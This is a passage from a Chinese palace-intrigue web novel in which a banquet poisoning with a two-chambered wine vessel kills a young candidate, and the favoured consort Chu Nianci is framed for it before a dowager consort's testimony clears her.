更让她心惊的是陛下言语间的袒护以及扫向楚念辞时,那若有若无的目光。
这一切都告诉她……本以为自己会入陛下的眼,却没想到皇上心里早有了人。
入宫前,她曾收到庶姐白芊柔暗中递来的信……她就是栽在这女人手里的。
想到这儿,她一双雪白的纤指已经攥紧了。
纯贵人则静静地瞧着,一双绿眼睛里满是好奇。
蔺景珏将众人嫉色尽收眼底,唇角勾起一抹得意。
悦贵人教她先发制人,果然有用。
白芷若水杏眸子眼光闪过一丝冷芒,柔柔出声帮腔道:“蔺妹妹说的是,慧贵人姿容出众,方才连我一进殿都被吸引了呢,只是你一直吸引陛下的目光,却让皇后娘娘受到冷落,这岂非失了尊卑礼数?”
她话音一落。
几个见风使舵急于讨好皇后的低阶宫嫔纷纷接口:
“正是!慧贵人方才对皇后娘娘确有不敬!”
“依嫔妾看,该当禁足自省!”
“何止禁足?在宫宴上这般放肆,应当降位!”
楚念辞端坐如山,神色却未变。
自己已是宠妃,若此时示弱,往后岂不成了人人都可拿捏的软柿子?
她微微一笑,先不理白芷若,只向蔺景珏不疾不徐道:“蔺秀女没学好宫规,就凭你见尊者不行礼,直呼本小主名讳,你就要受二十杖。”
蔺景珏脸色一僵,咬了咬唇,雪玉般下巴一扬:“姐姐赐我封号是迟早的事,且不会在你之下。"
"那等你收到碟纸再来耍威风,现在你先跪下,给本小主行礼。"
"凭什么让我给你行礼,你也配,不过一个妾室,也配在我面前张狂?”
这“妾室”二字一出,周围秀女脸色顿时难看起来。
在场众人,谁不是“妾室”?
白芷若一口气险些没上来。
没有想到刚刚拉来的同盟军。
竟然是个如此飞扬跋扈敌友不分的蠢货。
且连她本人与自己也骂进去,差点把秀气鼻子都气歪了。
当下后悔得差点咬了舌头。
众人也看出这个皇后的妹妹,实在愚蠢,于是都不再理响应了。
蔺景珏气的站在原地,走也不是,坐也不是。
楚念辞心中好笑,不再看她,转而看向白芷若,语气温婉:“莲妹妹,若论姿容绝色,妹妹首当第一,刚刚陛下都夸赞你,色艺双绝,如此偏爱妹妹,可真是令人眼红心热。”
几句话,轻巧地将矛头拨了回去。
众人脸上生出戒备之色。
莲嫔刚刚入宫,到底有点脸嫩,只气得指尖发颤,一时噎得说不出话来。
气氛僵住了,一时有点尴尬。
楚念辞看了看蔺景珏,觉得蹊跷,她虽长得玉雪娇憨,可容貌在新人中并不出挑,何以如此笃定嚣张地有底气来挑衅自己。
这时,她目光掠过对方手中的酒壶……壶身一侧,有两个极不起眼的朱砂小点。
楚念辞心下一凛。
竟是阴阳壶。
蔺景珏亲自下场当着出头鸟,手里拿的是能**于无形的利器。
原来是悦贵人的狗腿子。
她悄然提起戒备。
悦贵人瞧着,指甲不知不觉掐进掌心。
她原以为蔺景珏将她的老底都掀了,楚念辞会慌乱失色,至少也该面红耳赤,哪知对方竟这般从容,三两句便搅乱了局面,还不动声色地找回了场子。
看着蔺景珏那张涨红的脸,呆呆的站在原地,不知所措,悦贵人胸口发闷。
这成事不足的蠢货!
她强低头抿酒,眼中却掠过一丝阴沉的焦躁……必须让那杯酒下去……
“好了,往后都是姐妹,何必闹得这般难堪。”悦贵人出声打圆场。
蔺景珏愣了愣,极其不自然地扯出笑容,执壶上前:“悦姐姐说的是,慧贵人,方才是我失言,这杯酒就当赔罪,咱们化干戈为玉帛如何?”
楚念辞浅笑:“妹妹既有此心,不如先干为敬?”
蔺景珏下意识瞥了眼杯中酒,随即按住壶身红点,也给自己斟了一杯,仰头饮尽。
她将另一杯推向楚念辞,唇角带笑:“我已喝了
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,姐姐若肯原谅,便请饮下此杯。”
楚念辞垂眸看向那杯酒,并未伸手。
“怎么?”蔺景珏挑眉,“姐姐莫非怕我下毒不成?”
楚念辞也不答,只似笑非笑地看着她。
就在此时,下首席间骤然传来一声尖叫!
只见纯贵人死死捂住小腹,踉跄着撞向桌案,面色青白,呼吸急促。
悦贵人心头一跳。
这反应不对……她给的明明是软骨散,怎会如此剧烈?
紧接着,另一边的莲嫔也软软瘫倒,喉间溢出痛苦的呻吟,唇角渗出一缕鲜血,神智已然模糊。
殿中顿时惊叫四起,宫女太监慌忙上前,乱作一团。
“血!**了……”不知哪个秀女凄厉的喊声撕裂了大殿的喧闹。
端木清羽闻声疾步而出,转眼已至殿前。
他一出来,谁也没看。
径直走向楚念辞,侧身将她护在身后。
即便周遭有各色美人,端木清羽仍下意识便挡在了她身前。
看见他身影的那一刻,楚念辞忽然觉得心下一松,这男人的肩背从未如此刻这般宽厚可靠。
太后扶着皇后与淑妃的手也走了出来。
一见两位新人嫔妃**倒地,众命妇骇然失色,大殿之中,宫女太监狼奔豕突乱作一团。
皇后当即厉声命人传太医,同时朝楚舜卿使了个眼色。
楚舜卿会意,快步上前扣住纯贵人与莲嫔手腕诊脉,片刻后脸色顿时一僵。
怎么会,怎么回事这种毒啊。
她分明下的是鹤顶红呀。
可看皇后盯着自己看,只好实话实说:“是孔雀胆。”
太后神情骤沉。
端木清羽瞳孔微缩。
楚念辞亦是心头一震……她原以为不过媚药,怎料竟是这般剧毒!
孔雀胆乃蛇毒混合数味烈药炼成,毒性猛烈,能腐蚀脏腑,前朝曾流于黑市,早被明令禁绝。此物怎会出现在宫宴之上?
悦贵人有点心虚。
……怎的楚念辞竟然似乎知道,没有喝那杯酒!
“查她方才饮过的酒!”皇后厉声道。
宫女颤巍巍呈上纯贵人用过的梨花白酒杯。楚舜卿接过一嗅,颔首:“杯中有毒。”
伺候纯贵人的宫女伏地颤抖:“奴婢……亲眼见小主饮了一杯蔺秀女敬的酒……”
话音未落,蔺景珏突然捂住腹部,喉中发出“嗬嗬”怪响。
她想呼救,却一个字也吐不出。
“啊……”一声凄厉的惨叫从她喉中迸出。她猛地喷出一大口鲜血,整个人直直栽倒在地。
长发披散,身下迅速漫开一滩刺目的猩红。
“景珏……太医,快传太医……”蔺皇后惊惶的哭喊瞬间盖过了一切喧哗。
第102章 蔺景珏自食其果,**身亡。
窦太后立在原地,双肩难以抑制地微微发颤。
她确实授意悦贵人给莲嫔下药。
只因她深恨太尉府。
当年她唯一的亲生女儿,金尊玉贵养大的明仪长公主,就因蛮族来犯、新帝初立,被太尉府一纸奏章推去和亲。
这恨,她埋了十几年。
可她只要莲嫔无法承宠便好,明确交代的不过是些让人昏沉的**。
怎会闹出人命?
眼看局面失控,她目光如电,倏地射向悦贵人。
悦贵人强作镇定,眼神却慌乱地飘向皇后。
只这一眼,窦太后全明白了……这里头,必有皇后的手脚。
想到两个人都是自己的手下,这事捅出去对自己不利,她也只好紧紧闭上嘴巴。
悦贵人吓得缩起肩膀,一步步退到人群之后。
蔺皇后此时已顾不上这些,她与母亲谢氏扑倒在蔺景珏身边。
看着女儿口鼻不断溢出的鲜血,谢氏眼前一黑,几乎晕死过去。
蔺皇后脑中嗡嗡作响……方才还听见妹妹张扬的笑语,怎么转眼就……
她强逼自己定神,可是止不住的眼前一阵阵的黑雾漫起。
刘太医快步上前,在谢氏与皇后的人中各扎一针,两人神志才算清醒些许。
蔺皇后深吸一口气……她不能乱,妹妹还等着救命。
就在这时,血泊中蔺景珏的左手微弱地动了动。
“还有救!”窦太后立即扬声,“快!将隔壁暖阁收拾出来,就地救治!”
端木清羽见状,也随即下令:“侍卫严守大殿,任何人不得进出,所有命妇暂送侧殿,男宾禁止活动,有敢随意走动、打探消息的立即送入诏狱,所有人待事情查明后方可回府。”
他语声冷肃,带着不容置疑的威压,宛如定心石一般,殿中乱成一锅粥的人,渐渐平静下来。
**的三人被迅速移往暖阁。
刘太医几针落下,蔺景珏竟真的虚弱地睁开了眼,涣散的目光扫过母亲与姐姐,喉咙里发出含糊而颤抖的微弱声音:“少……少子害我……”
少子……即嫂子。
楚舜卿听见只吓得两脚一软,差点跪在地上。
幸而蔺景珏又是一口黑血涌出,她头一歪,再度昏死过去。
谢氏神智模糊根本没听清,蔺皇后心乱如麻,也未辨出那破碎的字音。
一片混乱中,章太医也被急召而来。
两位太医合力查验后,神色愈发沉重。
“究竟如何?”蔺皇后声音发颤。
刘太医抚着胡须,面色干涩:“楚内医诊断无误……确是孔雀胆,此毒凶险无比,臣……只能勉力一试。”
他悄悄抬眼,望向窦太后与皇帝……那意思再明白不过:剧毒危险,没有把握。
章太医撸着胡须摇头道:“莲嫔与纯贵人中的确实是孔雀胆,可蔺秀女中的是鹤顶红。”
殿中人顿时一片惊异和震惊。
怎的会有两种毒?
端木清羽眉头紧锁,俊脸上眸光隐现刀光斧影,脸上已浮起一层薄怒:“朕命你们全力救治,若能救回,必有重赏。”
淑妃面上惊惶,嘴角却有一丝压不住的上扬弧度。
殿中十几秀女人惊慌失措。面露惧色。
窦太后心中更是乱麻一团……纯贵人是她费心培养、今夜最有望承宠的人,绝不能折在这里!
“若能救回,哀家亦重重有赏!”窦太后急道。
章太医犹豫片刻,拱手禀道:“陛下,窦太后,三位小主**似乎并不相同,且皆是侍奉陛下的贵人,有些施针穴位……在隐秘之处。臣斗胆,恳请准允通晓医理的慧贵人从旁协助。”
端木清羽知楚念辞擅医,毫不犹豫:“准。”
楚念辞微微蹙起眉尖,垂首应诺。
“慧儿,去协助章太医。”他见她神色有一点慌张,便握着她的手道,“不必惊惶,尽力即可,不管出什么事儿有朕给担着。”
楚念辞心中一定。
说不慌张是假的。
毕竟有可能一下子会出了三条人命。
若是救人还要担风险,她真的不想管。
听他这么说,便放心了,躬身应下,走上前细看几人症状,心中却升起疑窦……正如章太医所言,这三人的**情状,似乎并不完全相同。
她正欲伸手去探蔺景珏的脉象,谢氏却猛地将她推开,眼中有毒恨有怀疑:“别碰我女儿!”
谢氏转向窦太后,哀声恳求:“太后娘娘,臣妇不相信她。”
“恳请让儿媳楚内医协助救治,毕竟她是正经内医出身,臣妇……只信她!”
楚念辞低着头走到一边。
正好……她还不想救她。
窦太后瞥了楚念辞一眼,她大概能看出两人之间是有恩怨的。
于是摆了摆手:“那就分作两组,刘太医带楚内医救治蔺姑娘,章太医与慧贵人救治莲嫔、纯贵人。”
楚念辞平静地收手,不过是想看蔺景珏中的到底是什么毒罢了。
想让她救蔺景珏?
她还真没有那么烂好心。
前世,这人日日来她房中辱骂挑衅,几次在她饭菜中下毒,更到处散播她失身于马夫的谣言……楚念辞面上不显,只安静地随章太医走向另一侧屏风。
两边迅速隔开,各自施救。
铜漏滴滴,时间在死寂中流逝。
蔺皇后脸色越来越白,谢氏强撑着不敢昏厥。
她们虽不信楚舜卿,却还信着刘太医的医术。
不知过了多久,莲嫔那边忽然传来小宫女压抑的低呼:“动了……手指动了!”
屏风外,谢氏与蔺皇后同时松了口气,急忙抢入屏风内……
却见刘太医满手鲜血,颓然摇头。
楚舜卿脸色惨白地回过头,颤声对谢氏道:“娘……妹妹她……没救过来。”
谢氏脸上高兴还没退尽,就两眼一翻,直挺挺向后倒去,几名宫女连忙上前查看。
蔺皇后整个人僵在原地,素来端庄持重的面几,青白交加的如**一般,满脸的不可置信。
明明就在刚才,还听见妹妹的欢声笑语。
她扑到妹妹身前,看着那张七窍流血、再无生气的脸,喉咙里发出的呜咽,却哭不出声。
终于忍不住冲到心口的悲伤,手一松,昏了过去。
殿内,皇后身边的宫人顿时跪倒一片,压抑的哭声四起。
楚念辞虽早有预料今天会出大事儿。
但见此情形仍不免心惊。
没想到蔺景珏就这么不明不白地**。
浓重的血腥气弥漫在暖阁中。
皇后昏厥未醒,宫女夏冬一边哀哭一边掐她人中。
谢氏面如金纸,脸上脂粉被泪与汗糊开,整张脸白得骇人。
蔺景珏蜷在宽大的沉香木榻上,身下素云缎褥子已被血浸透,暗红一片。
刘太医颤巍巍上
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前摸了摸她的鼻息,再三确认,跪倒在皇帝面前,重重叩首:“陛下恕罪……蔺姑娘**太深,臣……无力回天……”
而屏风另一侧,莲嫔与纯贵人毒性已暂被压制,只是元气大伤,日后身子必落下病根。
楚念辞正从纯贵人身上拔出最后一针。
心中暗忖:原以为只是阻人承宠的**,物料楚舜卿与悦贵人竟如此狠绝。
蔺皇后被救醒后,靠在椅上,消瘦的脸颊惨白如纸,仿佛随时会再度昏厥。
她强撑着那点摇摇欲坠的身子,望向端木清羽,再开口时,嗓音已嘶哑如破纸:“究竟是谁对景珏下此毒手,她才十五岁呀,如果恨的是我,便冲我来吧,为何要害她呀?”
端木清羽见蔺皇后如此哀伤,也不由微微动容。
上前握着她的手,语气稍缓,“皇后节哀,此事,朕必会查个水落石出,给蔺家一个交代。”
蔺皇后看看妹妹年轻的身子变得冰凉僵硬,心中痛楚如潮水翻涌几乎让她窒息。
她将指甲硬生生掐进掌心,才勉强维持住一丝理智不致昏倒。
淑妃将蔺皇后悲痛欲绝的模样尽收眼底。
唇角勾起一丝弧度,一双水杏眼闪过幸灾乐祸,声音却满是同情:“宫中竟有如此凶狠之人,陛下可要仔细查清楚呀,蔺小姐毕竟是皇后娘娘的亲妹妹,就这么不明不白地**,皇后该有多伤心,娘娘节哀……”
蔺皇后目光落在了淑妃身上,突然锋利起来。
看她的样子,应该一早知道这件事。
莫不是就是她下的手?
后宫除了她,还有谁有这么大的本事,能在她的眼皮子底下害死景珏!
然而没有证据,便不能将这个罪名,落到她头上。
“陛下,您要为臣妾做主啊。”皇后哀伤道。
端木清羽目光沉沉看了淑妃一眼,又拍了拍皇后的手。
转向楚念辞,神情认真地问:“慧儿,方才救治时可有何发现?”
这不动声色的信赖,落在淑妃眼中刺得难受。
楚念辞上前一步,垂眸恭声道:“回陛下,臣妾察觉,虽然是两种毒,但不一样,莲嫔与纯贵人所中确是孔雀胆,毒性却经过了稀释,非即刻毙命之药,而蔺姑娘毒发迅猛,七窍流血,乃是高浓度鹤顶红,两种**毒性不同,来源恐怕也非一处。”
“荒谬,”刘太医脸有点红,反驳道,“明明是一样**,什么稀释与提纯?”
他自己弄错浓度,让皇后知道自已下错针,责怪自己医术不精,以免被人认为是误诊。
谁知他话音方落,章太医上前禀报:“启禀太后、陛下,经臣仔细查验,的确如慧贵人所言,乃是两种**浓度不一样。”
殿中顿时一片低哗
刘太医红着脸低下头,一直以为太医院早该是铁板一块,异口同声,不料这章太医居然当众不给自己面子。
端木清羽看刘太医一眼,斥道:"如此马虎,退下。"
刘太医低着头退到一边。
“孔雀胆,鹤顶红,”窦太后勃然变色,“阖宫欢庆之夜,竟有人用这等剧毒谋害宫嫔!”
她看向皇帝,目光中带着恳求。
"还请陛下严惩。"
“来人,传慎刑司所有的人过来,”端木清羽声音冰寒,湛亮目光如刀般削铁如泥,“给朕彻查,接触过酒水、食器的宫人,一个一个仔细查问!”
第103章 所有不利证据指向慧贵人……
慎刑司的人迅速行动起来,宫中气氛顿时紧绷,不断有宫人被带入侧殿审问。
端木清羽扶着太后坐下,又命人安顿好情绪不稳的皇后。
一旁的悦贵人却如坐针毡。
药确实是她下的,可她用的本是软骨散,不知怎的竟变成了孔雀胆和鹤顶红。
闹出人命,事情就彻底闹大了。
她头脑已经乱成一团酱了。
目光悄悄投向楚舜卿,见她脸色微白,可眼底竟隐约掠过一丝计谋得逞的冷笑。
悦贵人突然明白了。
这瓶子中的毒,肯定有她的手脚。
想到自己只与楚舜卿接触过,酒瓶也早已送出,眼下并无证据牵连自身,这才勉强定下心神。
楚舜卿藏在袖中的手微微发抖。
是兴奋,也是后怕。
她终于为那个未出世的孩子报了仇。
如今蔺景珏已死,死无对证,那些准备用来陷害楚念辞的人,全是悦贵人收买安排的。
她很小心,一个都没接触。
就算查到最后。
也全是悦贵人背黑锅。
她心里渐渐镇定下来。
淑妃用帕子轻掩唇角,美艳的脸上露出恰到好处的惊惶。
她早知宴上会有人动手,却并未阻止。
一来想给不知天高地厚的新人一个教训,二来也打算当众揭破,显显自己的手腕。
见慎刑司查了半晌仍无头绪,她慢悠悠放下茶盏,望着皇帝柔声开口:“陛下,此事须得查个水落石出,否则后宫难安,臣妾想着,若从人身上搜不出什么,那毒怕是藏在器具里……不如专查宴上所用的酒器杯盏,或许能有发现。”
端木清羽眉头微蹙:“淑妃所言有理,传令慎刑司,将所有宴上器皿细细再查一遍。”
不久,一只古怪的酒瓶被呈了上来。
主管太监跪禀:“太后、陛下,寻得一只‘阴阳瓶’,此物前朝宫廷常被用来行暗害之事,有宫人看见,瓶子是蔺小姐带进来的。”
蔺皇后大惊失色。
竹青接过瓶子递给太后与皇帝细看,二人神色皆是一沉。
章太医在一旁解释:“这瓶内分两格,可一边装毒酒,一边装寻常酒,陛下您看,瓶上有两个小点,斟酒时按住一个,便能控制流出哪一种。”
“好毒的心思。”窦太后脸色彻底冷了下来。
蔺皇后悲愤的目光倏地落在淑妃身上。
如今她更认定此事必是淑妃所为,至少她是知情的。
否则以她的瞻前不顾后的脑子,不可能想到这一点上。
可是,还是没有证据。
蔺皇后强忍悲痛,颤声问:“这么说,我妹妹是因此**?她中的到底是什么毒?”
章太医躬身答:“回娘娘,这瓶子两边都装了毒酒,一边是鹤顶红,一边是孔雀胆。莲嫔与纯贵人饮下的是孔雀胆,而蔺姑娘误饮了鹤顶红。”
蔺皇后闻言,脸上又浮出痛苦的神态。
淑妃轻声接话,语气假作关切:“娘娘节哀,只是这下手之人虽狠,蔺姑娘却也奇怪……为何偏用这阴阳瓶?”
“是呀,臣妾瞧见了,这瓶子是她自己拿出来的。”一名秀女哆哆嗦嗦地开口。
“臣妾也看见了,她还特意给莲嫔与纯贵人敬了酒。”
一时间,好几个宫人随声附和,都说那瓶子是蔺景珏自己带进殿的。
“会不会是她为了争宠,才……”
“你休得妄言!”蔺皇后虚弱地打断她,嘴唇直哆嗦,“淑妃,我妹妹人都没了,你还要往她身上泼脏水吗?”
“皇后你冷静点。”太后及时出声阻止。
这事情还没眉目,她张惶失措,不成体统。
蔺皇后掏出帕子,抹着眼角的泪水。
“淑妃质疑得在理,”端木清羽俊眉微蹙,扫视众人,“皇后,朕知你心痛,但这么多人都看见了……查查蔺秀女近日还与何人接触过,特别是御膳房,以及她身边的丫鬟。”
说话间,他目光掠过淑妃,略带赞许。
淑妃心下得意。
陛下终于认可自己了。
慧贵人这把刀还确实挺好用。
她面上却仍是一派忧色。
慎刑司再审蔺景珏的贴身丫鬟,最终确认这瓶子的确是她自家带进宫中的。
蔺皇后整个人怔住,眼中全是不可置信。
妹妹怎么会沾染这种东西?
淑妃轻叹:“若真是蔺小姐自己下毒,岂不是得不偿失,连性命都搭进去了?”
蔺皇后气得脸色发青,却只能道:“不会的……小妹虽是自己进宫参选,但她心地纯善,绝不会做这种事。”
“皇后,”端木清羽看向她,目光带疑,“你真不知令妹进宫参选?”
这是连皇后都怀疑上。
他怀疑皇后也参与谋害宫嫔。
蔺皇后冷汗涔涔,急忙解释:“陛下,景珏是瞒着臣妾进宫的,本想给臣妾一个惊喜……可即便瓶子是她带的,也不能证明毒就是她下的!”
说着,她有意无意地瞥了楚舜卿一眼。
这一刻,她突然隐隐约约地感觉到这件事与她这个嫂子有关。
说不上来为什么?
就是一种直觉。
楚舜卿心头狂跳。
药确是她给的,却无人能证。
指尖攥紧,唯一知情的只有蔺景珏的贴身丫鬟玉苗。
那丫头的弟弟已被她暗中控制,不怕她不听话。
如今,只等悦贵人发出指令……
便发出最后的攻击,把这一切全部推到楚念辞头上。
她不断地用眼睛去瞟悦贵人,心中暗暗焦急。
如果不采取攻势的话,到时候这些罪名就会落实到自己头上。
果然,悦贵人也意识到了危险。
清冷疏
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离的脸上强作镇静,可忍不住双手微微颤抖。
“陛下,”悦贵人强压心虚上前一步,“即便瓶子是蔺小姐带的,也未必就是她下的毒,臣妾以为,定是有人趁宴时在外动了手脚。”
她抬起头,道:“恳请陛下严查,方才宴席期间,有哪些人曾离席?又都去了何处?”
端木清羽面色阴沉如水,那双眼却是目光炯炯精明睿智。
嫔妃们面面相觑,一动不敢动。
原本喧闹的大殿,此刻死寂一片。
“查。”皇帝吐出冷冷一字。
圣令既下,无人敢怠慢。
很快便查明:酒席期间,除一人之外,并无其他人离席。
慎刑司主管太监拿着名单,手指微微颤抖,道:“这……这怎么会?”
他也是个精明的,知道陛下这段时间宠的是谁?
“说清楚,别躲躲闪闪。”端木清羽道。
慎刑司总管面色发白,说话也有点吞吞吐吐:“只有……只有慧贵人曾离席片刻,再无旁人。”
所有目光瞬间聚焦到楚念辞身上。
殿内鸦雀无声。
楚念辞耳边嗡的一声,愕然抬头。
原来对方诱自己出殿是为了这个呀。
她心里微微后怕。
刚刚自己若不是为了稳妥与淳太妃结下联盟。
那……今天这一局还真不好说。
她整了整衣袖,仍静静站着,依礼不慌不忙地回话:“方才臣妾饮了梨花白,有些耳热,便出去散了片刻风。”
“敢问慧贵人,外出时可有人陪同?”总管太监问。
楚念辞坦然道:“只带了贴身宫女团圆。”
端木清羽看向总管:“当真只有慧贵人出去过?”
“回陛下,是。”
皇帝目光掠过她的脸,见她平静地站在那儿,语气平淡温和:“这也不能证明什么。”
蔺皇后的手指一下握紧。
陛下当真偏心啊。
且还是大庭广众之下偏得这么明显。
刚刚对着自己百般质疑。
对她却如此信任。
这时,一名瘦高宫女忽然跪下:“夜宴时,奴婢曾远远瞧见慧小主……似乎往御膳房方向去了。”
紧接着,蔺景珏的贴身丫鬟玉苗也颤巍巍跪了下来:“奴婢在御膳房的时候,遇到慧小主,她曾碰过那瓶子……还,还威胁奴婢不许声张……”
所有矛头仿佛瞬间对准了楚念辞。
几人言之凿凿,犹如她真是下毒之人。
嘉妃忍不住出声:“其中只怕有误会,慧贵人不是这样的人。”
悦贵人冷笑:“知人知面不知心,嘉妃姐姐又怎晓得,有些人,人面兽心。”
嘉妃无奈地看了楚念辞一眼,咬唇不知该如何再辩。
太后冷冷地扫来,声音沉肃:
“慧贵人,你还不跪下,给哀家老实说清楚。”
第104章 端木清羽偏袒得太明显……
楚念辞上前一步端端正正跪下。
所有人的目光都带着震惊与怀疑刺向楚念辞。
蔺皇后冰冷的视线落在她身上,猛地站起,身子晃了一下又跌坐在椅子上。
可她又咬着牙颤巍巍地站了起来,目光如夺命于无形的利器。
楚念辞以为她要过来扇自己耳光。
不料她却走到端木清羽身旁,跪在他的膝下,哀声哭道:“太后、陛下,臣妾自问平日待慧贵人不薄,即便有过几句训斥,也是为她着想,若她因此记恨,大可冲着臣妾来,为何要毒害景珏……她才十五岁啊!”
“臣妾最疼这个妹妹,还记得出嫁前,她围在膝边承欢,父母更是将她视为眼珠。”
“如今竟死得如此凄惨,求陛下做主……”
说着哽咽着,伏在他膝上哀哀哭泣。
端木清羽侧过脸来,安慰道:“皇后起来,事情还没查清楚。”
说着又转向楚念辞。
楚念辞连忙叩首:“此事绝非臣妾所为,臣妾与蔺秀女无冤无仇。”
“与另外两位更是第一次见面。”
“皇后娘娘既说待臣妾不薄,臣妾为何记恨您,臣妾也从未觉得娘娘有何处对不住我,难道娘娘做了什么亏心事,才如此揣测于臣妾?”
蔺皇后被她问得一噎,眼泪盈盈却说不出话。
窦太后蹙眉:“快把皇后扶起来,事情尚未查清,身为皇后,岂能如此失态?”
夏冬连忙上前扶起皇后。
淑妃眼见楚念辞有麻烦。
她是自己名下的人。
若让她今天折在这里,说不定会最后怀疑到自己身上,于是不得不出声:“臣妾以为,眼下证据不足,不宜妄下定论。”
皇后双目泛红,瓮声道:“淑妃,你这是在质疑本宫?”
淑妃脸上浮现冷笑,用帕子捂了一下嘴唇,道:“信口雌黄,随意诬陷,皇后何必明知故问。”
“你……”蔺皇后气结,转向皇帝哀伤道,“淑妃平时要点强就算了,可在这件事上,还要当众羞辱臣妾,还请皇上,为臣妾做主。”
端木清羽沉声道:“皇后痛失亲妹,淑妃说话当留意分寸。”
淑妃撇撇嘴,不吱声了。
端木清羽又看向楚念辞,“你有何话要说?”
楚念辞缓缓跪直,仰头迎上他的目光,面容平静:“臣妾没有做过。”
窦太后冷声问:“你独自离席,究竟去了何处?这问题必须从实回答。”
“臣妾只在太液池附近走走散酒。”楚念辞坦然道。
她毫不在乎,反正淳太妃就是看见自己从太液池方向走过来的。
等会儿一定会替自己作证。
“可有人证。”皇后问。
“侍女团圆。”
“你自己的侍女,当然会向着你,”悦贵人冷笑,“她不能作为证人。”
“你们不相信,臣妾也没有办法,但臣妾没有做过,此事天知地知,臣妾问心无愧。”
蔺皇后冷笑:“夜宴时分,宫人多在殿内伺候,你却一个人外出,这么多人指证你,去了御膳房,又碰过那酒瓶,岂是一句问心无愧,就能搪塞的?”
楚念辞不理会她,只望着端木清羽:“臣妾没有去御膳房,更没有碰那酒瓶。”
“事到如今,强词狡辩也是无用!”蔺皇后冷冰冰道。
“娘娘若执意指认,臣妾无话可说,只求太后与皇上明鉴。”楚念辞俯身叩首,额头轻触冰凉的地面。
心里却想着。
那淳太妃何时能出面为自己做证?
自己要不要主动把她说出来?
不可……若是这样便失了先机。
反而会让人疑心两人之前有什么约定。
她深知绝不能提及与蔺景瑞的会面。
那是前夫,若让这些人知道她私下与这人相见,必生出更大的麻烦。
端木清羽道:“你既说没有,那离席后可曾遇见旁人?”
“若能证明你未曾进入御膳房,便可洗清嫌疑。”
跪在一旁的团圆几乎要脱口说出遇见淳太妃之事。
却见楚念辞递来一个阻止的眼神,只得把话咽了回去。
团圆虽然憨憨的,但优点就是极其听话。
只要楚念辞不让做的事儿。
她哪怕刀架在脖子上也不会做。
楚念辞抬眸望向端木清羽,见他冷湛锋亮的眼底隐隐有关切。
心中一酸,泪水顿时涌了上来。
珍珠般的泪滴沿着脸颊滑落,恰如梨花带雨,看得人心头微颤。
有皇帝这份关切。
她相信就算入了慎行司,也能有转圜的余地。
转念间,她已决意硬抗到底。
哪怕是走到最后一步,等着淳太妃心甘情愿地自己出来。
她有信心。
一来为了祛风丸,二来为了她是一个聪明的人。
端木清羽见她泪如雨下。
心中不忍,当即吩咐:“传问今夜所有曾出入的宫人,有谁见过慧贵人,重重有赏。”
窦太后与皇后脸色皆沉了下去。
都到了这个地步,皇帝还在维护着她。
拼命地找寻证据。
谁都看得出,皇帝这般反复查证,存心回护做得实在有点离谱。
已经不像一个帝王,倒像是个情窦初开的少年。
淑妃再反应迟钝也看出来了。
皇帝对他的宠爱当真是已经到了令人震惊的地步。
她突然觉得,手中的这把刀已经有点不好把控了。
于是狠狠地咬紧嘴唇,没有在出口帮她说话。
正寂静间,嘉妃忽然从人群中走出,至楚念辞身边跪下,扬声道:“臣妾愿以性命为慧贵人担保,她绝非行此歹毒之事之人!”
说罢重重叩首。
一旁的悦贵人撇了撇嘴,小
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声嘀咕:“世间哪有这么巧的事?依我看,慧贵人怕不是早就知道蔺小姐进宫,这才指使人下手……若真如此,这心机和手段,未免太可怕了。”
“住口!”端木清羽冷声打断,声音冷得如地底吹出来的冷风,“事情尚未查清楚,就在这儿捕风捉影,轮不到你在此妄加揣测,朕信慧儿的品性。”
他说相信自己。
楚念辞眼眶瞬间红了。
这时候还真有点感动。
真没想到他会如此维护自己。
一个连生病时宁可将自己的牙咬出血,将自己手心掐烂,也不吭一声的少年。
一个用自己身体来试探周围人忠心的心硬如铁帝王。
竟然会对自己,如此相信吗?
这……到底是什么感情?
连自己都有点迷惑。
窦太后皱着眉,对端木清羽道:“皇帝如今证据确凿,你维护她可以,只是不要偏袒得太过,若是违背宫规,这后宫还如何整治?”
端木清羽俊颜微微一震。
自己偏袒的过分了吗?
不是……说这种话的人,根本不了解慧儿。
她数次曾在自己生命垂危之时出手相助。
更曾数次出手相救素未谋面的宫人。
慧质仁心,怎么可能是那种心肠歹毒之人。
“太后,朕并不是偏袒,而是认真查证,不使一人含冤,这是朕对后宫所有嫔妃的保证。”
窦太后垂眸道:“但愿如你所说。”
时间一点点过去。
楚念辞双膝跪在冰凉坚硬的大理石地上,渐渐发麻生疼。
地面光滑如镜,映出她苍白的脸。
汗珠顺着鬓发缓缓滑落,滴在地上,她终是不动声色地跪着。
端木清羽沉默良久,终于道:“慧贵人先回宫吧,朕再查查。”
皇后腿一软,几乎站不住……到了这地步。
竟不禁足也不降位,只是回宫,然后再继续查证?
这种偏向也太明显。
她心痛地揪成了一团,慢慢侧过脸去,心冷到了极点。
皇帝看着楚念辞,目光深深:“你信朕,朕会查清此事,对你保证。”
楚念辞心头一暖,忍住哽咽,仰头看他,轻声道:“是,臣妾相信。”
她正要谢恩,身后却传来一道微微苍老的声音:“方才……慧贵人是与本宫在一起。”
楚念辞心中终于大大地松了一口气。
明知是淳太妃,却故作愕然回头,只见淳太妃正由云姑姑搀扶着立在门边。
淳太妃颤巍巍要行礼,端木清羽已开口道:“免礼,快看座,您刚刚不是回去了吗?”
宫女忙搬来花梨木椅请她坐下。
淳太妃缓缓道:“本宫方才确实准备回去,见殿中人声嘈杂,于是不放心,一打听,才知道发生了这么惨烈的事,幸好回来了,否则岂不是冤枉了好人……”
第105章 端木清羽招来精奇嬷嬷
淳太妃其实一直站在殿门边的窗下,隔着纱帘,把里头的情形看了个真切。
她起初是犹豫的。
这慧贵人值不值得自己伸手?
宫里最忌讳蹚浑水,帮错了人,就是惹一身腥。
直到她看清皇帝那不加掩饰的偏袒,又见楚念辞被几人轮番逼迫,神色竟始终镇定无惊。
这份定力,绝非池中之物。
她才终于迈出这一步,推门进来。
窦太后见自己妹妹亲自出来作证,心知这事已经难以转圜。
她面上不显,只含笑问道:“妹妹,哀家看你方才饮多了出去,这会子可好些了?”
淳太妃在太后身侧坐下,不紧不慢道:“出去散了散步,已无大碍,远远听见殿里乱哄哄的,放心不下,便过来瞧瞧。”
她顿了顿,笑意温和,声音不温不火:“幸好来了,不然今日可真要六月飞雪了。”
蔺皇后攥紧了手指,咳了两声,不甘心地追问:“太妃方才……当真与慧贵人在一起?”
淳太妃端美脸上浮出淡笑,语气和蔼从容:“适才我在太液池边醒酒,恰巧遇见慧贵人,我二人聊得投缘,便多说了会子话。”
太液池。
她报出这地名,殿中众人便信了大半。
二人事前绝无对供,说的地点却分毫不差,这便不是能编出来的。
